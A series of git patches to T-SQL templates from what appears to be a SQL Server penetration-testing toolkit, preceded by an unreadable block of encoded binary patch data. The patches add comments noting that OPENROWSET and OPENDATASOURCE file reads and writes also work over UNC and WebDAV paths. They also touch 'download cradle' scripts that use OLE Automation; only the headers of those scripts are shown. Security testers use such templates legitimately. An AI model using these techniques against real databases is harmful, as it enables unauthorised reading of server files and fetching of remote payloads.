z4Vr=N?5SQHO?qQbRFwW?J>P`6ZXrRYknX%LUHR-AOSjoN}82%Wln|v{xnRZ8s+-MqdlJ2jVWMC37&^rOA%8dBhJ7Z~X>z*5> z{5j)enDE29$5wC4o@h4H=++7%=fAi;+|E9UZ5|t(uI)gR`S~x1^y3!i0~C9E5oJig zm&Ws)$`r*u-Xb=*VJ9FkTB%{@eUz0(lgso`;OWPY&!Zi$G(F7D4MH?7Y=U{1Ynp8;%FYH+>CqYJ~9DhF3m%AoE)fUx)%4(tW%vs-t9pB<8K>ngaHYM_i z4kEBg>vXFhSh%+~tC=_t`baD5cOns1yc06M`3?E~ITvxorlNmTaZj}vh)r~81&>{CMmuKk*SIV$5bxd*=izY3>;G|B z(bmHmx#Y}|g5p3nxFHMvfl<6h0GJdhaGD4AFRuKanxyi9X{+~2TE#yQ^NYosSz%+j&TnKTUH zsU`0gW|65Kv-N{%k!xO4_EQdvco!Qt-(CtKLHfw^_aLcV0qPlByFgTM)J7fCMI!sb z+l>T+4*jDLPlFW$b8U?+m*lWd8S?e{BRLCn9P)oMA(PAgb}~H~T4Wg8b+B2A=5N>Y zw+lTPWyx74hpPdxM>H3$Q5~7_!UP@DN~%9gv&FSDWBRuTql5X%_jZG78h~frBO@#SkW~Ae6VwU)i5y2HTOv zRC#)o*byF-)1|}S?qu7~^nn3@#TDr9H8MSm??vUq74uy(k9D zE{r}+uDH~J$&}%bbK)HNu8GY39>zWjp0l3Q$dBX|*_~5%Wsjl!o^(jg9$xS%!$?-p z>^J}TbTMmUx>au6UGr0a#Ieo71QyTt1>SnEM+6<;bV)gbjO6~wRY0|`NzbKe^a+lL z!eKuqvc_AG_M4D9!nn1Ei80HZ0nNe2*I?%NSN%V(Ycf_fGZ75( zSGu89HOUbFcBO%Xuwxp?U?1&{bok4Wjt!ziGU)GmL(P1gB#b<4B`^+!x*pFBbS2dIQb6WXRzjUHJ-D$-#rB_>_djK?pMk z&qpcGW0v*q!T1~PA92XjGEQ=7xe3<8Q5c>H!kajrps@-p<qIW9);f+Ru?BTaL`DX#b_^3*-{ zdbuG8p}5%GkyrDa*M*h+SDX5O|6g~VEnI*YB-cd?;a2%<#rfb7dQG&-m=a-qBH($4;`2A7W-6=zhMha1=btjYOUw}OPK-i238-_0HVfdOJu;Y!R z8{gIy-7J-gzpFB9Q)ONQd4$On|BuHPCyQv_OzFGV>tukI5*N{A?w<0Mfb+L21;Hy) zPUtMB;Ixj=)_wW1YqBy{5eR(3VwvErV(Gxxk;K0w&okB}y(7Bc<6VAsM&IL+NU7XW z?N}3#?+Mtk0UI%558}H*M4>33DX+1i1?MMaT}2_vtVVMjC)-=~=%09oz>`=Lho^tk86OF}Sy%`T}Tedy5JDo;i<5xt9-2C$eRoCfV zZw5+}4)Rd?|JqC|Yn)tT`)EH?K$@?kf7t9qXRs$E*}3}?18EIOffbt#iR`Wt>d}M7 zPhJgp?p;`m+o^7E5C*-GO~~sD`7G&jz!}e=q-ws`~!?Qri(w_ z=g}%peeZ;6u*UIGPYV%+9nQeE++`Q4#iqkEvt{q6bn3l;%Zz1ZR`;Inpa1Fj7qpD`LJ-q5mI`EYTY}H{F;$XP^-{y2%viwt?$*Rs-vXxn*jDj09>=!_=`%SOryJvm6DjRE1h7M_Rv10a@#*K=lum(l zk<^D;lp;d}HVFuDtR2SbQPp>Ws1XbsTrmtRs#*V)S(xMRswMz;r>WnH1iYZ#{mYAK zR?n2M@Tq;W@!$5+PKbw&olpK$g-=?qanRgo!+pFoY_iy9;v~wp0s^?ISq<>Y<_MDD z2I_2v=U6Cd3Ps!4wp89=^PQZWq*#G}NHPcq@c;Rj0rD-D&pJQ2 z7SiiSbGM+u7onb2}eW=!Dd9zd%_DRw$#2nNuBixzVz|V}5({1U0qd zGRNG}?})XSz$UYA$Y&TPEM>rtZBVk8t;|&VS3Cgz#q|&g03{AxaqO^x@W?}II#{UC zp3pTa){c=RItsK~Y=2Ys#B*&x7MwzI0C5VDL~|=v`_=Ub&r3{d!S?v@u-BDBe1wNY zp*1;MG4RJ7r+9hzqN&&e&dl?#_2vTSNP_?8U=&k?IM-(upzdAY?vy%g9VUiBU&B@> z{xXr*-v2rf=ATWlWfm~Wx3aVxlB1z}3C@icD#V$_%Ke!V&u@|-MnW}niLX`gdR0eDia`$ z6C7{&@(uO*ZUC0dS<*~KU(;hm&2Vdn@ktR;$7^fSi@@|$)s!X_dc8R zdnQ#gS%|`y5R*~|&)BCR3-q|?K@u!DsB^n2aNQ^Q(`Q`48GBNcI=)>+Vmj~Pm6`27_j9}f(5ISCaf}D(7Kr!+>=$Me0m=?%o2n7xg)k2tTsMXEZm5Gy|R8GPg4TE zI6tXU_I%d0Lb}%M@$2NK)Qt2kA*CrV4vFc(uv`J^ATv~n3nSWh$eID!R@g;L>AT%P z&tiOkOF@=>Ezrkw>+4n@iHf+!sf46^(pzm6E*K`mq|ps?_7DK@RgDXe-aOEfAYLR* zDKs4MF(Yyw>8ztp$tiqUat11K)7@9`%lv%(KgTpX+^xu&Cuukg&VhIq9G}vJuv-vJn8ib-Qu;JJzUi_M%EVpm3NVPPuoWvM zN05E3waawt0jD&rYN)DNf-tUt%S1u1KRGMb7Jn8En;l0p{c*{jkQ_nmel;F4fRKHV zMF>pX@$jWBqr0bnh5(fM2Ypo&NmQbc*E8uQe$=UtYb7sO*_e^XYc_i&)3J%oPVTWB zO+lWk6Lp+7sb<1!n&aE%n9@R1SHw19O{9U<5H(!B5`JNKUi zpFG8{CXL-1=rWixm3bRBwD*&wSW1;6Dw$HEnXLHvFRZLvZ3r!hEzLk{7?U0SPT;*v z(EE5XbZGVdM~8mHntR89#CRqS5%E|a?xqAr`lAw^wio8aIXD6V97-*e zui0d#)cEPv3cV0y_KpG|8xw|}f3|k|Wko2GNpQv4dW?kJ3?L~&h`^nTwb-?C^EdfF z`{&J18C;Un9e=6Kd^C#$&6{MhF*6??B=>Ut4Y3!DvR#D`Upy)MM59(b3`!c6i8eOs zDC;MkY7yBB&J*_jbQJ3CZ1HWj9*|rU8l2F<^cI}ST=(VG;*3Wl4A&S6OFu)Ok%nc^ zr22@6b$hl7jFStuzD%Y0(cky5l>6)kG`;2U!YQUpckxAh- zXE}JJeE-*{oO9aO$@iFM(jca7&NjrnvwZY(qA6mEZj!R}nYns71xxf8kQ!-$?-5># z%_$^Pfn1|%3E9eZi57>r!AAz9;<@-4@@EJEE+ldug-YEFg7l@ts_!S%m!gy`PFFrX6ejI}e^93kV3#kDm#j zI&0b>=C(nQ#zWg=m82cc&$Q+U4tDNcIcr4`QFu0R{eqxW;MoE+s9r-|Y1~f6u4!NUCaG(1HHEG2&t=j&i?NHgbWMY)b}5#<43u3qs)coDo1&5cFX3 zOv%LCISvO^p%k=dD%`)UU*O+$NU)w6L$95jb0uL{Nb+!U%;b_V?*Kh<#cEeSty~QY z%VSJ2sk`ASJS_&wPvqwbR|vN1dc<-?e=?Dou$X;Cn-%;{^t!@_h&kB3&eOnt%resy zaH>8<(UJM6_dbDr%|x#m7k~05rdu)+K!!SByXAf6wbr_k>HbI0%Tyu>m8&brD~n40 zye{-5*G{>lHpFY)AGnC6#OmX-H=r3ka>f>EWBV>`i(Y?Lz_ z4;ddm=Fd#yS#a=}kxxHOjdAJeluU*oFCt!@-l>;{^QcDf*&DST{IP^UFSFcG;&Syh z2Bshf&i;&stRbb7_K5}Qtb7gmh4(jzA!@xilCIYFss(@s-y(R@=Xus3x7qfRm5{RI zJ;?kxLOZHom4gy)-a+13VC9V`F5Wjf1#0VbH!x#yIAUm^6is`QJ0lm^NAgbVGg6I# zQog~a)ZQt({kw3V(v{09tgtc3 zw+*~)Q(y4NjQ-XgwxP9x6k7o0`nXe>f8r|L(O2D6mL=8Sz4JWwcl0R7SX&r`y9v!! z7Q(=g{;G9{2u9<1EAYAnrF;~r}$Bm+0UmP!n+ z=u*GL3Qeg6U4O(1uI>KpbMuWJxXOD|d9@Tu4f4+N&u%EMuYoJS<@c?GAc3IlUjL8C zi}>jGPW@C7Lb4Zc&b|LL<8>2nE$@1>zZr$cDgH6@;-0vR*fCqQ{&*G`M-3$s;*N)oQii`dy8Amof9B!YQiLOYx36QAV8?142=9+mSIYK3Ts z1+rju`XZ<6+U;&h$D&N-NDvlWC%uKdRQ*_r(8 z(}iny{Ya6NeRsXBj3W^D&oKAdyh+|r7b%IRlG=kv_L02ih^hDi7gr~3YN+vjsx-!X zIZio6)fY_%aRFgLV3I2y2OhrNFLuuL<8%=vPX{gDKeC}iQStG;IM>@+Cif@my3e_y z?ae#}e7wo$hRw0P!`=o2)E)hRd@SV*p^dRrp8-!5-+`yUHa?sWDwoiQ%mF=x4{_(Q zw=qt59zJu3dTfsY2?+35`!$SPvsAFro6HsO4zw3zmc94d0W;B~^iCTw&hVx-KD>eUL?*X|32&d}pB>wcYH z?>&tVUnq)tDmRTkyyfLVsfOdEok^k5ywkIeYff>OtEB?R z9T9~;&=Hebk4L+o7TWRwCSTRAsdUlS(%G$d56HB3|35ORAS~5Gh30jI>rA=zl9SX~ z!9}S&9Io4kA`yIWTSQa6@QY0Eob^o~NOSe1W9Br-f2w>q_3c{{P4; zVblox1yQTxd_ilP{iQT3d5PN!wtO8B46P$%8mNY?O-j(R^U$KzK* zz-G6=o$+5Y{h|jRcT!P&AtgeuhWejrb(`KMUb`)=8k*Gr9Q8a~Zkj%~i2(6z@gFDn zrEwL?jFKXL!6`x|YG@n(4^CdXa?#$eS^^x$V;xifP-6|>n-~b3DDh(n4{7lCWNc{6a8Mq%Jj(sAy>WmJd zw8HFzCD9ar^p=y(vV~awLg&&?R-nkI0!M&&f3DGEvK2XH#;)~nVFZidUas0)R7|;D zVY-*b}p>U+0(n*!(@lpH$30Oq= zQs_q)mg#I;I_RR^Idl zg@~eC$yIo>1?mEA+(KpqO-!(OIS`l%De(S;od)bYYXhcURjiq*D>xkdAvOl2bRQcN zIG_wvh8x08yILbLKO4C7e8Cd0{E2t_XzIt2T z;lsii_1~ySyTnjy=xhIV0vTMSG-{Ks z!9x&VAPYWNhWB!rzMc31RoIy*XTJe12%$LS8KY;H`iPEoijM&+0kS*=?q`C`y_$Yt zswJ4pgOu3ha6+~Dh3(yTBxS;~)kLm|hWx;H#j7(H^6TppptBO>CP8}uyZ5EN5>I~= z@ZLL?`l40v9i00zz6|H$2k3xDJn2ac+XA_=v}f`dlgcpTv^X?mK#4ILFv3ixT@q?Fd)Afq5!e1BF%K%tDJ)H@iGQMF4bW^(nc78@euS@RC5Pcm94YVM`qsSt3a3jDu(Bo1&n$m^)P zaBxyRen|K*CG*<3(%G;PpdWyd*nnJ{pX7s;4PFWa`S8AB+|?E!$G;6Qk%PZkeuT^u zXjIWlE%X;MRX;H>AdgA^j+HaZ{(B;12F5E=AQW%r=WI@xs(=u1Fk(Q{Ut&T6G&2LC zMkA#kJ2%I$a0L#rk1;=STqY2(!$>()T!cam)T>wXF(HrdU1q#TO&qkB3IYrU6~8?) z?ApLvWLCwJU{V!BQ$znhK4I5~^)&Avg8?1_BsfEI&u77@ve20iPj}XJ-P+p}4@CAR zalxCK9$kt2^3>mVd*w6Uu$lLM?o$%9?$1`K=Cl@$jCjK?aD{YppG_t~EL zgqPS&xGvmtoei%%x{rNE!qHW=H^dPiJ&(J79tAk%1&5b!PQl}aG3PqKhX%U@Kq?n; z9GGEc@h};ZuSZc+jAqdlFlg{;#1T{|r*`SS%+vLQ4~@roUUn`Qgs!=H*s|@arPSBg zFZE>+atk4Gg{Q632P=>mQM0SYHr|f`mo=2Kv5pdHf#(yRwmJ+*+q$q62LE$rz0aFit*Mg2mW*8c0c}kA0(-bK z-zhj7Chib)z<#NOBP5uXlZf&|jfRVFAFPhv#d-h2==_4oD3i@OL_bUbLzNBj+?pXSnIM^@DIM{8`)sh=s#tV}np zr08uMFPk-gc~-veL#Wg}-c5OR$|LB^5ZML}8jcr*Zk@-rvPMGmP*)I+5}3mZGhX~eveGalzshG+-} z#l%Z9@bU%6S957pI<|&nua#m}oJ>ASlb0{QDt}10+T8roFse!ZDwCXS?ujmEeYjr~ z?Myl=9aoO0g#K(yj|?)j3!km+uA0&+ADRT9Od9bl&s7@r0_}mr6>Wfi0U_Uf!t6$W zaG&E^>(^Olhx^N37tv!yXK5AAvm=|yKNnZN7{d9@V0RTN}=<-N%v4E*+N zW4QE157jukq7Ra!JP5*puvVWcuqn`NFCMQE&f~<+?**#P7jB8%b!dxZsI(*U7cXvNlwN1XtSC{n&5j9&y z{bbe9*sSZf1#e4z_JU<)S~Hg}v;1e}U&86%0*uEeGZBT(EGX;FxiU7lg%r*^MjA_< z*^Y9XoRcDUIHQ@g(%iB|uaxKxcR87|WnZfAV=lD8kn(pKv?XiXQb2(7(R}Man~vPE z^%&fF{Sjcsil@b`D|nEAZ@LQvo*FCPx}of=7pN-chb84LcrfT8Hxn^B)E<_bz!3lG z(I02t9`#Dq8k;-ejG&ER-L)?{tMEs;y#2D~ea3?aNWiR%T&;+Lb3{DOf( z?qJ>88spp)>4yf zhbcl1_e^#ho!a62a*T@=Uyadg4SnM$dUZ$P%$dn;$H2cUMbmTki~*?w9$kxU=-Bl5 zD#KlnS?Lkp&vwCsX#3~W`ZjvSHlvRPA00l6X~|6j@m#5x9>;0+VZEC43Zb^3GoVvs zK;_%BK$J44V01$+zG9};dTsZ&tu94gG+!J$AD;^x>c4oNM|NpM2qnja*Yt@(E*l*z z=W~g9u#y>ztDcxRa*wl?T<~&K|AG0Hy@wUyoBVUd9bgRog~J{pnQBTJ^vm$K;_1+* z@`)YU8%rsdOM-FVy~d}XV+4pb`%Wlfb$A)K+dzt>ngb*ro@oK?yF8wMv{}S3?TpWGD}r4z_<-z7^b}p7{5iPh z){&~o0K7@3jLckZp~wQ@UXS&?`uBGq{%3=`90bbnu=-zE@1NRF?`0ME zC#%Hke4|v58QE~|mX`1hZX)FP@@3P5P9Vz3v?{zATez}SGb>`&!Cv}tRUZek73?9Q z2A2_n8nvBrn@Z&8s}kpTI`O}cCI`gzT_GqH6Q4tC^X<{*i?!v9;L@>g;WKa z?KjU|=z@TtozTA|N*-G1m+|}rteOa=-s+8bFTyz9QYoa)ycMlONT<;K-y@7hE$vVf zf^VAMgn@_f)gARYbR7RQMgB zxJ$M9sF%K+<6(HCD-7S^L`A65vr0>Hyx`DiKyS20nYSh=Lq2Bt-{Ypj!Vmi+Zo%BS zi5En^WdJ=gPZe2gX%qpLpmbnz?-Il0z`@~o97NHtVpHk$N)9WSM-NI+ed>H+>ekQu zaK?98!2Kn%N%X)Xg+!Fkc&uhVGj%jHjYXNc)$}H19uXynpP!$D{@}Gs4C{xnzk3P) z?!3kob zT*y0d53ISX495e20~^)lYN}R328#OlE~q76zwv?}j_h4<@0o>0&5KO#`T)LeDEcAJ zE(XkJ`-qPWb!VZ9f+UhBaT^NF!l-q9ij>!&>F9_4|Fa4V2)GH#e;U}kQp&E@*vjW? zmDb{G-C=Fph}P^LZ%xdrf}~dg3!)#tD@(}nz0!CcHNmO<0Uw9Jp=S30ZJ@H-(4{L} zRxZ6AcpL;9AE8EHwd9SEd?_@4bOHxEXLZ1X0}UPB5vk>?B9DvHC%Cp|W0;% z{2u8Ot;KsHDZ}4Xd24R39}bfty%ZwWj7X_uT-;CB+@6&;WyWS3&B!%Gr04=h$v7V4 z_~uVB*og%d$ErMgpl;(nke@NA6jw(#s#xCiD!GBtyU^w}v5;@+W#^;VH~3SH9sRXx zzVGe%8MUTW9xlHTa{N{_P^oga8@!Y5#p~??e`{USvaq7L0c=qOrKH^gW#l~IsON|Q z@3p3|HsE49fZ?hdh<530SKI7jWGbh8Ir)b3r=ZPZqoFXKQ4Vde7zEtQ(cfX#;A zUz}dZ%mEG%{>G4z3A_tr)f+-l|J`op()a#o1xVPUuS2?fs?vY#sk1{l9C5@$q7mg8 z8rFm!b6MZ9uAuy>sN;vlq^1=`OcHq>=K6m0syyaRa4HcOXB@H`9{zZg5Jjdx5JDju zVspUoFS*8wEcCi}q_;p?HI*E2HYE-fIQdCfw>Dt@pm1#>i){Sod}o5A^x%!Zb}IJ8 zVh0Ba3rFN2Y3lsY|5`g3qh{W-@Z#HWpJPSV13dv^SJe= z0yYPwkFC3HVj%I`+bPvli>K+?+vbp%vD(`BPyu<9X-vpN_5AJ{P0BxocW(zdM^jTD zhcOdxUf#Q>p8Z;k#IWeEXO_-le*d@yFF?%_tfL-V^`U23ESk@@z{VWsQ+Z-*N^tPi z#j7}2r8A~Uj@|+Uf50_Bc8}6Ax(yU9ShbWzag|MCFW}KmhB79~6pr&7cMoj(L&)m8ySt(OuOcFkaBDt!r<%dkvwr*xI@@u!kbk{`D`g2=WVCCnn8)> zurPp!#AJKGD+5OLM(<$VP=PN#?%Ms~VacH<*}Eg1c$v_DdNt%UyYwefs%W zdALlqfgjsNIJ4=1t01`{T5pO!Ahs*K#1my>k!+vIxc)M%zf%skT19$c?AKGmpmY<4 zI%oj|nYViVf|rGsJET*J*_T}&ZYd!FsZ-^(7;y7VEC}o)gjOhq`zd_WwSPF679pQ> z6wf>;qpCkqp}}i%!!e~9_yU-~&TgD2xROVwED^^S2Zh_(^}TVAf>tL%4KKO2XE{}k z#c+`6@OtO|*mqjx+RtR{@s-L(;5)MtP4lrN9LUDCPv8R&I?ghiN!3M2Dhx_Jklw{e zz|mE=rv))^q?YP_V~&MPaKFgyu^`hAt0KItFQx-0<9TLZ7{X;vvWwsQ1S3gUC$S=G zCi~?Dgnb7upz5X=!ykxO4|2L6q6cGwz&$W^>DRg|*4)q%5h~7YL@IunU|Zb9{SF)2 z5jVWWuvj<7o^?mjsX(cB(z{+$aD4u1Q>vM%5SJ#HKab2{2}bMCnXl+l^aLg2By8mV$J%N`hn$~#pe1{poh@Xg< zgD5`{d?{t{O~L5F?A_b1ywp!XEp-A4vUyAQ?0C>$fhaikHT4FQ8IfFiL(%szD6$EI zjCgjc9WKpzl{w^TUe{O@d{aklXSsB0O>H=yE!p>G5i<q9i`E;g5gw(k%Nt#sLwWpusCZ zBHg>?n18e>&kJ$s|2CQDl7Hsh`IDftPttXD>Q?}N1kTG!w137GFp|Na7+giEc|gDe#u zXQ0!OW8;Bu+LI>f;Rp@9Y#!L>gFHr@pIGBG+V)&w$qzsWvV)q&>Y4TzU=)hTlwkJl@jUvusBa+mhR=vTe~`nvo&#rf~dAblOnm)S^ldl zo$*r$=UfNb{`aBGohy$y3xl#~@}F!G$MD>@kf|o&q%-h7;J^ATC=6e7C0n$5^C}iC z?{JL3Kv|51tFdyoDM;-K>h6J-&Nnk+7$|<@HVC!3K>sJ1)2s`VJ~4F^|MUtwkNtvw zfTs4=rk`M*J$@U=xWG#~`Xx=T;9wn^zGjU&By>LAt2jEeXKZ5xdc+aTAd~-inxlK! zw)hZ&2}zm&MN3q|I;+6T8})|Z@GTT>`8G_8@$=wU94 zT=i-9;|akXS}HDt+oIo`xjBT4J`jqm_M))BFHaDhRr&e^rp_Wc!)@_;WMTgQ{l^-D z1-9tTSkBwHV``)?wigf|F4k>px5vGX2~RHO*bGDPDWM*DI2T!nWx`J!R$+2@HN5SU z(%|PXx;MkNk_*e5KNWh(T{yj(Hd#X_LGuJ}B=?oSmase=o=pBwp9v4!$_XtUda?HE z4l9*$Nn6Xt;I50uv+eZRF#Np?3xoah=^5N1-pDC0>QBVtO<%5~9EY3w2Ty(3DV|g$ zja5V^HU98TDxR$%`S_9BEW&9qkRp0|iM&Jz?du@X;jh4BjiF%8^bKhlk^yZuo&_e7 zGiyvkw8qWlKF_8#tC@YJq+U?cO<5 zyN-dHN-2+$-gvPnBC+LbtgZZa_N~qx>XnI(N4qhMhVt=EzqedxYRgf&%enZBOPb53 z^a{^J@O=axk2X^9or+koT_5K7q%?>FZL}QLm;L_h{HgnXhZpG=da4_%g~g>T%p$K` zUKY}3g-wm%pa;0~(ixXbke+k)H+;zLsO|G6opPoo#T#kpdeN)B^z!N21ttdXd`epU z&@fxd89@=l{)N{95!v|#JjsSPV1~0S+Hq}nQAl|Eg#4J7fa=xVMhW+$o5jxBAFPxY z%6qDk18T5PO!~&cdX{b8)#eOblXMRMgySHA7+oI1+0|NODSUbnFjQA{SbQ&O^(F0^ z$f!IfHL+ExqPlbHH38G$RdLjP;=!_;US-mKi=_@Y+SF)lyh(c{<~57IaIV>H`1vVV zd(D0o=y-|UQ`KSR4z0X4#k_j|e3ZaOVe#&;V-t7jPtnmr4a5paD^!`B{F}LdRQO`w8*SS|I!di8b>=m4>)Qdp z?ufYrNv`d7T@ZJqP`@bn>7FAnYEDuiO#myL*7iL+q~<9#+KAm=Q;sa7K*_$Lhz+5x zf~Rr{Z!XAa8(H|@OUikeR3doRWwS16;_MO4SBu{c~~rI>5mYZNcP7gMYg`MXuB#|WQ_ ztl?BXmF-@0%C=NkCV$rWBcK6)MsZAA06jR|+yCPf?ji=HXcT%p9&U*RYuIYMSks~D z&y7u@Dj9Tne$mWx-~6_}#ci)=4Iy@1g?sn{yq+zdMb?)1MGQAuh=MR6qN;o2v&y+8 zb!xKE^fUF-^_O40?$YCUo#H2${6c-oKQdPI({B>HOnl|1!yd|`n=ee^FZTE{MM%r+ z@AE%WKqn>j^!c!E^_~8nr^frzs)nfx$a*TF-;XmI=MRmYD~tBPZJL0z1zi`RsYW4k zr%nN0&aXod%W0Lkuk1~L zA~ZPL+N+4?UewAr>lxTQ#{S0iRPgjEN33bf1`d5aV;A`s`sH@k@B3Yw{uTw5XCfoX zkwDfBb7MG3kMu^%kzvqxoRZRhc*^UfvsarJ8~iWjQ3CHhdAd0{c)M{GLB&EK*wS^q zXhyLEd=<)V*Xc#E*Nx@-o`NpbRbC7dykJa(%q27cvw3vx5g{y}GX0VmtHyJ|R3)7($-Q&{AM zQM&EpNjRvEJJoq-kJ;~xzKzeYqHS!~+b`PBAt|_a-(8%(+CaMveA@OF^mPz+-|M0Lyv9v4^QRO?8MiDJbr?_O^89{5gE!DPZ|ltU7^!*Y2U{-OJwp{VAfLCu8Pk z>ce2o_H(&u!4~|y+qfCwGo5VfNSOLGC8UrS5m1yn{(Y$9_F8K68-yrd0^_V^iM3EtMZn9%{Sf>6)b4jsQBs}%&*X6AuS@;! z{=Ab9xEEbv^>l5M7V+HH_c(0~0DmUrT=*{1Pn0dnK90Fn^n4G_~4Il zlM_?H24c-CjZmY5iOKd+@4~gSaZ5M-5%7X>Kx}>!8YXVx`bfFu#>PPnOvoNT6)GM! zhCdtpNf;^8(pZf%pG*m8$>R86iR#5TXEc2+ytoE7VINk1_2M3VAP(f(HV+jQl_6sz kAM(9&@Xq$>6z&D(MbA)mTBg!N@B~FxQc2>A*z Date: Wed, 6 Sep 2017 16:26:28 -0500 Subject: [PATCH 068/145] Update readfile_OpenRowSetBulk.sql --- templates/tsql/readfile_OpenRowSetBulk.sql | 3 +++ 1 file changed, 3 insertions(+) diff --git a/templates/tsql/readfile_OpenRowSetBulk.sql b/templates/tsql/readfile_OpenRowSetBulk.sql index 689f8de..4556afb 100644 --- a/templates/tsql/readfile_OpenRowSetBulk.sql +++ b/templates/tsql/readfile_OpenRowSetBulk.sql @@ -14,3 +14,6 @@ go -- Read text file SELECT cast(BulkColumn as varchar(max)) as Document FROM OPENROWSET(BULK N'C:\windows\temp\blah.txt', SINGLE_BLOB) AS Document + +-- Note: This also works with unc paths \\ip\file.txt +-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind. From 6c303d2ebc2d2e6749738ffb0048280e9646e659 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 16:26:46 -0500 Subject: [PATCH 069/145] Update readfile_OpenDataSourceXlsx --- templates/tsql/readfile_OpenDataSourceXlsx | 3 +++ 1 file changed, 3 insertions(+) diff --git a/templates/tsql/readfile_OpenDataSourceXlsx b/templates/tsql/readfile_OpenDataSourceXlsx index e21d452..db9d160 100644 --- a/templates/tsql/readfile_OpenDataSourceXlsx +++ b/templates/tsql/readfile_OpenDataSourceXlsx @@ -15,3 +15,6 @@ EXEC sp_MSset_oledb_prop -- Read text file SELECT * FROM OPENDATASOURCE('Microsoft.ACE.OLEDB.12.0','Data Source=C:\windows\temp\Book1.xlsx;Extended Properties=Excel 8.0')...[Targets$] + +-- Note: This also works with unc paths \\ip\file.txt +-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind. From ed075dfbf421b62f63ad17470ee0d4044feccd5e Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 16:27:06 -0500 Subject: [PATCH 070/145] Update write_file_OpenRowSetTxt.sql --- templates/tsql/write_file_OpenRowSetTxt.sql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/templates/tsql/write_file_OpenRowSetTxt.sql b/templates/tsql/write_file_OpenRowSetTxt.sql index f3cf612..68b9af8 100644 --- a/templates/tsql/write_file_OpenRowSetTxt.sql +++ b/templates/tsql/write_file_OpenRowSetTxt.sql @@ -17,3 +17,5 @@ go INSERT INTO OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:\temp\;HDR=Yes;FORMAT=text', 'SELECT * FROM [file.txt]') SELECT @@version +-- Note: This also works with unc paths \\ip\file.txt +-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind. From b2b936acef248adb4280806b1d77c48eec394a29 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 16:27:24 -0500 Subject: [PATCH 071/145] Update readfile_OpenRowSetXlsx.sql --- templates/tsql/readfile_OpenRowSetXlsx.sql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/templates/tsql/readfile_OpenRowSetXlsx.sql b/templates/tsql/readfile_OpenRowSetXlsx.sql index edf967d..2fb5f23 100644 --- a/templates/tsql/readfile_OpenRowSetXlsx.sql +++ b/templates/tsql/readfile_OpenRowSetXlsx.sql @@ -19,3 +19,5 @@ SELECT column1 FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0;Database= -- Read text file from unc path SELECT column1 FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0;Database=\\server\folder\Book1.xlsx;', 'SELECT * FROM [Targets$]') + +-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind. From 6f0a12ebbe58cec870d37bca2096e4d5e42c9660 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 16:27:37 -0500 Subject: [PATCH 072/145] Update readfile_OpenRowSetTxt.sql --- templates/tsql/readfile_OpenRowSetTxt.sql | 3 +++ 1 file changed, 3 insertions(+) diff --git a/templates/tsql/readfile_OpenRowSetTxt.sql b/templates/tsql/readfile_OpenRowSetTxt.sql index 60d9515..3d19d20 100644 --- a/templates/tsql/readfile_OpenRowSetTxt.sql +++ b/templates/tsql/readfile_OpenRowSetTxt.sql @@ -18,3 +18,6 @@ go -- Read text file SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:\temp\;HDR=Yes;FORMAT=text', 'SELECT * FROM [file.txt]') + +-- Note: This also works with unc paths \\ip\file.txt +-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind. From 84289ab7ae35a5eb4c4c16f2d98796b54d688bce Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 16:28:03 -0500 Subject: [PATCH 073/145] Update readfile_OpenDataSourceTxt.sql --- templates/tsql/readfile_OpenDataSourceTxt.sql | 3 +++ 1 file changed, 3 insertions(+) diff --git a/templates/tsql/readfile_OpenDataSourceTxt.sql b/templates/tsql/readfile_OpenDataSourceTxt.sql index a4d83ea..7fde942 100644 --- a/templates/tsql/readfile_OpenDataSourceTxt.sql +++ b/templates/tsql/readfile_OpenDataSourceTxt.sql @@ -15,3 +15,6 @@ EXEC sp_MSset_oledb_prop -- Read a text file SELECT * FROM OpenDataSource( 'Microsoft.ACE.OLEDB.12.0','Data Source="c:\temp";Extended properties="Text;hdr=no"')...file#txt + +-- Note: This also works with unc paths \\ip\file.txt +-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind. From 8b2b315f6e5f8a29a2acddf91e4eecf7f73cc680 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 16:28:58 -0500 Subject: [PATCH 074/145] Update download_cradle_tsql_oap.sql --- templates/tsql/download_cradle_tsql_oap.sql | 3 +++ 1 file changed, 3 insertions(+) diff --git a/templates/tsql/download_cradle_tsql_oap.sql b/templates/tsql/download_cradle_tsql_oap.sql index a5a5af6..b60b071 100644 --- a/templates/tsql/download_cradle_tsql_oap.sql +++ b/templates/tsql/download_cradle_tsql_oap.sql @@ -1,6 +1,9 @@ -- OLE Automation Procedure - Download Cradle Example -- Does not require a table, but can't handle larger payloads +-- Note: This also works with unc paths \\ip\file.txt +-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind. + -- Setup Variables DECLARE @url varchar(300) DECLARE @WinHTTP int From cc8b4481cedcd0efb7df66e7a8adb23860c5779c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 16:29:18 -0500 Subject: [PATCH 075/145] Update download_cradle_tsql_oap2.sql --- templates/tsql/download_cradle_tsql_oap2.sql | 3 +++ 1 file changed, 3 insertions(+) diff --git a/templates/tsql/download_cradle_tsql_oap2.sql b/templates/tsql/download_cradle_tsql_oap2.sql index ca37ce9..ac6687b 100644 --- a/templates/tsql/download_cradle_tsql_oap2.sql +++ b/templates/tsql/download_cradle_tsql_oap2.sql @@ -1,6 +1,9 @@ -- OLE Automation Procedure - Download Cradle Example - Option 2 -- Can handle larger payloads, but requires a table +-- Note: This also works with unc paths \\ip\file.txt 